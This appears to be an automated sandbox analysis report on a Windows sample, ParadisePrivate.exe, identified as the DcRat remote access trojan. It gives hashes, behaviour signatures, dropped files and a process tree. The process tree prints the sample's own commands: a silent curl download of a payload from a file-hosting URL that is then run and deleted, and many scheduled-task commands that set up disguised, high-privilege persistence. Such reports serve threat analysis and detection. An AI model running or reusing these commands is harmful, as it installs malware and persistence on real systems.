Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-12-2024 11:31

General

  • Target

    ParadisePrivate.exe

  • Size

    855KB

  • MD5

    df367e723dc5759cdad30841910cd6af

  • SHA1

    eb6105e8f2462746108e94543e684c8d6a587dbb

  • SHA256

    a29663d874e5fba50215d6966591407d6c9d264371ec0e726bdf5a902cf11156

  • SHA512

    21f29b03a607ba8e3910ed27e802cf61db82dda0c1f3e9772127509dfd9eb7e81778463f47cbe4727116792eed83e11b91dc7fb72e455eb3b621201f9853dbb0

  • SSDEEP

    12288:KvGAa5J2tubG6rOH7Fso6veRSN2ff+zOe9egX7AlGXynGnIr9BqiXb1FP:KvGAMAubGeo60OegX7AoXyn6m7Vj

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ParadisePrivate.exe
    "C:\Users\Admin\AppData\Local\Temp\ParadisePrivate.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:392
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
        PID:4768
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl --silent https://file.garden/Z01XJyuAz2yPo4d4/client.bin --output C:\Windows\Speech\client.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4348
        • C:\Windows\system32\curl.exe
          curl --silent https://file.garden/Z01XJyuAz2yPo4d4/client.bin --output C:\Windows\Speech\client.exe
          3⤵
          • Drops file in Windows directory
          PID:2616
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\Speech\client.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4300
        • C:\Windows\Speech\client.exe
          C:\Windows\Speech\client.exe
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:4052
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\ComponentCrt\sBEZl9whlNx1coUjXXPbcOghFKEeD7haTOPQzUr4aUDA.vbe"
            4⤵
            • Checks computer location settings
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3612
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\ComponentCrt\1lvoZv4qBcC2Me4L.bat" "
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3556
              • C:\ComponentCrt\chainreviewwinrefSvc.exe
                "C:\ComponentCrt/chainreviewwinrefSvc.exe"
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Drops file in Windows directory
                • Modifies registry class
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4064
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\J5TvyR8imk.bat"
                  7⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1504
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    8⤵
                      PID:4844
                    • C:\Windows\system32\w32tm.exe
                      w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                      8⤵
                        PID:4984
                      • C:\Windows\PLA\Rules\ParadisePrivate.exe
                        "C:\Windows\PLA\Rules\ParadisePrivate.exe"
                        8⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2852
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c del C:\Windows\Speech\client.exe
            2⤵
              PID:4840
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 7 /tr "'C:\Windows\CbsTemp\sihost.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:4112
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Windows\CbsTemp\sihost.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:1848
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 8 /tr "'C:\Windows\CbsTemp\sihost.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:4172
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "ParadisePrivateP" /sc MINUTE /mo 11 /tr "'C:\Windows\PLA\Rules\ParadisePrivate.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:1788
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "ParadisePrivate" /sc ONLOGON /tr "'C:\Windows\PLA\Rules\ParadisePrivate.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:1400
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "ParadisePrivateP" /sc MINUTE /mo 11 /tr "'C:\Windows\PLA\Rules\ParadisePrivate.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:1324
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:4904
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:2716
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:4696
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\upfc.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:2768
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\upfc.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:3956
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\upfc.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:3744
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\MoUsoCoreWorker.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:3560
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\MoUsoCoreWorker.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:3184
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\MoUsoCoreWorker.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:2412
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "chainreviewwinrefSvcc" /sc MINUTE /mo 13 /tr "'C:\ComponentCrt\chainreviewwinrefSvc.exe'" /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:4676
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "chainreviewwinrefSvc" /sc ONLOGON /tr "'C:\ComponentCrt\chainreviewwinrefSvc.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:4672
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /tn "chainreviewwinrefSvcc" /sc MINUTE /mo 13 /tr "'C:\ComponentCrt\chainreviewwinrefSvc.exe'" /rl HIGHEST /f
            1⤵
            • Process spawned unexpected child process
            • Scheduled Task/Job: Scheduled Task
            PID:2140

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\ComponentCrt\1lvoZv4qBcC2Me4L.bat

            Filesize

            98B

            MD5

            4dafd9e9509ac96be6aa5baec659da4d

            SHA1

            a091552663ddea89536560f232b8339f318c9cbc

            SHA256

            0c53b640295abd25e8387957941e29f5c4e765376365409164ac39e3365a6ccf

            SHA512

            d290c162347e236e0e197c52afc4f4b33f1eba2498dfe2ad86c414c87ab70c9fbbd2132cd08bfb4137e8555a095ca9acb6675727a4a5f65ccc46141c16698132

          • C:\ComponentCrt\chainreviewwinrefSvc.exe

            Filesize

            1.8MB

            MD5

            11cca9e2c6dc9c2a728b89e7314ec26a

            SHA1

            58aec3b662a1c4e8b43cc454d90813ac89b5e612

            SHA256

            300072795259e7b2baa69a7a3d19ffea1844dffc391e710c654aa1b66b0e2197

            SHA512

            fb1fcff1c94e73b1227f65b237639e25604d614cfe365f2108bbbfdb489b97410fdc17411b8f00fc5b8f57d51080b4496010537a6a4ff9b15b7bdd24f89d0df7

          • C:\ComponentCrt\sBEZl9whlNx1coUjXXPbcOghFKEeD7haTOPQzUr4aUDA.vbe

            Filesize

            207B

            MD5

            b292d233456b16f26abc1aa07c9f5de0

            SHA1

            7b025705136101b5618d81d8ebf472335eebde43

            SHA256

            e75d13d4b079fafbd413fa8182c270f1f0f41b1b19b3469db12de226fed67b2d

            SHA512

            1c9c3846ab0e392dc6833de2a9238c91b6042b5095521196a3ceae8830edf7fb6d73118ed023b2e2daf287a48084fa8ee40241248a231cf668d5cc5e8f947ee4

          • C:\Users\Admin\AppData\Local\Temp\J5TvyR8imk.bat

            Filesize

            216B

            MD5

            395e785b3026adab9c088ea1bdaa20ef

            SHA1

            5860ae72d93816bba1123c60fc11ccee38e01bfa

            SHA256

            da6c420a1e81630e87bba55e34d8745faecd78a30dede6512a5a3bebde5fedb1

            SHA512

            cc1cbdac4c01e20d412cd805c4778d1f0f462a962fe69b138f0594fb528d9d2293f511c91a74ee8f7222d8209d41bdebadede6c0c0a920540cbdecbbc3e95669

          • C:\Windows\Speech\client.exe

            Filesize

            2.1MB

            MD5

            bf4f13d82d217ed69d80124c50d9441c

            SHA1

            b7ee7d109f61371342e924e6a0c3505347dd318f

            SHA256

            51890bfc6f223014ff16f4bfa6ace8e2d2ec3c81eb6965406813b9ca32b08508

            SHA512

            1ba17e55d6d1f6fda99daffe3f11f995d5e8434901b2aea9105728ccbff1b81727d96bf8811a62e8367fca0ec23bdea331165b001088b183281164269668d2f4

          • memory/4064-16-0x0000000000D70000-0x0000000000F4A000-memory.dmp

            Filesize

            1.9MB

          • memory/4064-18-0x00000000018B0000-0x00000000018BE000-memory.dmp

            Filesize

            56KB

          • memory/4064-20-0x0000000001900000-0x000000000191C000-memory.dmp

            Filesize

            112KB

          • memory/4064-21-0x000000001BF60000-0x000000001BFB0000-memory.dmp

            Filesize

            320KB

          • memory/4064-23-0x000000001BBB0000-0x000000001BBC8000-memory.dmp

            Filesize

            96KB

          • memory/4064-25-0x00000000018C0000-0x00000000018CC000-memory.dmp

            Filesize

            48KB